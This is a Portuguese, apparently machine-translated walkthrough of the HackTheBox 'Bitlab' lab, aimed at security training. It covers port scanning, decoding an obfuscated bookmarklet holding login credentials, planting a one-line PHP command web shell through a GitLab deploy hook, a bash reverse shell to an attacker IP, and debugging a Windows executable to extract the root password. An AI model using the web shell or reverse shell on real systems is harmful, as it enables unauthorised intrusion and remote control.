Neste artigo, começarei a publicar soluções enviadas para
processamento adicional no site da
HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, trataremos de um pouco de ofuscação do JavaScript, carregaremos a backdoor através do repositório Git e depuraremos o aplicativo 32.
A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes para você estejam disponíveis, pois você acaba em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Inteligência
Verificação de porta
Esta máquina possui um endereço IP 10.10.10.114, que eu adiciono ao / etc / hosts.
10.10.10.114 bitlab.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.114 --rate=1000

Em seguida, você precisa coletar mais informações sobre as portas que conhecemos.
nmap -A bitlab.htb -p22,80

Como segue no relatório nmap, o SSH e um servidor da web estão em execução no host. E no servidor web há robots.txt. Após examinar os diretórios desta lista, notamos que o gitlab está funcionando e existe um diretório de ajuda não indexado.

Indo para a página de favoritos, temos vários links.

Js
Todos apontam para o site de um produto, exceto o último, que não contém um endereço, mas um código JS.

O que esse código ofuscou.
javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
Para obter um código mais legível, você pode usar o
seguinte site .

Após um pequeno refinamento do código, obtemos as seguintes instruções.
document.getElementById("user_login").value = "clave"; document.getElementById("user_password").value = "11des0081x";
Git
Com esses dados de autenticação, estamos autorizados no gitlab. Lá encontramos dois perfis.

Você também pode encontrar um projeto no qual há uma conexão com o banco de dados, no código eu tenho todos os dados para conectar.

Verificando o perfil, não encontramos nada de interessante.

O implantador possui apenas código php.

A partir desse código, fica claro que, se colocarmos um arquivo no perfil, ele será implantado no servidor.
Ponto de entrada
Precisamos colocar um backdoor php. Por exemplo, um que receberá e executará comandos.
<?php $cmd = $_REQUEST['cmd']; system($cmd); die; ?>
Para isso, abra o Perfil e crie um novo arquivo.


E depois de adicionar o nosso arquivo aparecerá no repositório.

Agora estamos testando o backdoor.

Agora temos uma concha completa.
bash -i >& /dev/tcp/10.10.15.150/4321 0>&1

E vemos a conexão reversa com o nosso host.

USER
Uma vez no host, é imperativo verificar os dados adquiridos anteriormente. Estes são os dados para acessar o banco de dados.
Abrindo o interpretador PHP interativamente. Usamos o código encontrado e examinamos os dados encontrados. Senha do usuário em base64, decodifique-a.

Então, descobrimos a senha, que aparentemente pode se conectar via SSH. Mas isso não deu certo, já que base64 é a senha)).

ROOT
Olhando ao redor do carro, encontramos um arquivo exe no diretório inicial do usuário.

Copiamos para o nosso host para análise.
scp clave@10.10.10.114:~/RemoteConnection.exe .
Em seguida, abra o arquivo no IDA Pro. Percorrendo a função principal main, você pode encontrar uma comparação da variável com o nome de usuário e criar um processo com putty - um programa para conexões de rede.

Podemos assumir que a conexão ocorre com o fornecimento de dados de autenticação e precisamos encontrá-los. Os dados de conexão serão transmitidos como um parâmetro, ou seja, variável v3.
Você pode ver a linha finalizada durante a depuração, mas no IDA o arquivo de 32 bits falha. Ao depurar passo a passo, entendemos que isso acontece depois de chamar GetUserNameW. Nós procedemos da seguinte maneira.
Coloque BP no fragmento de comparação de nomes.

Agora colocamos o BP antes de carregar os parâmetros para a função GetUserNameW.

Execute o programa no depurador. A depuração será interrompida antes de chamar a função que precisamos.

Agora remende o código. Em vez de carregar parâmetros e chamar a função, você precisa colocar a instrução NOP. Eu uso o plugin Keypatch para isso.

Agora o código fica assim.

Vamos continuar depurando o programa para que ele pare na comparação do nome. Nesse ponto, o endereço da sequência de parâmetros já estará carregado no registro EAX para ser passado como o parâmetro ShellExecuteW.

Agora clique na seta (pule na desmontagem) ao lado do registro EAX. Isso permitirá que você acesse o endereço do EAX na janela principal do IDA.

Este endereço contém a sequência de parâmetros. Como você pode ver, ele contém o texto simetricamente correto "-ssh root ...". Mas cada caractere é representado por 2 bytes. Para coletar convenientemente a sequência, pressione Alt + A.

E nessa janela, selecione Estilo Unicode C (16 bits). Então observamos a corda montada corretamente.

Esta linha contém a senha root. Nós nos conectamos via ssh e pegamos o token.

Você pode se juntar a nós no
Telegram . Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre nos ajudar em qualquer problema de segurança da informação e da TI.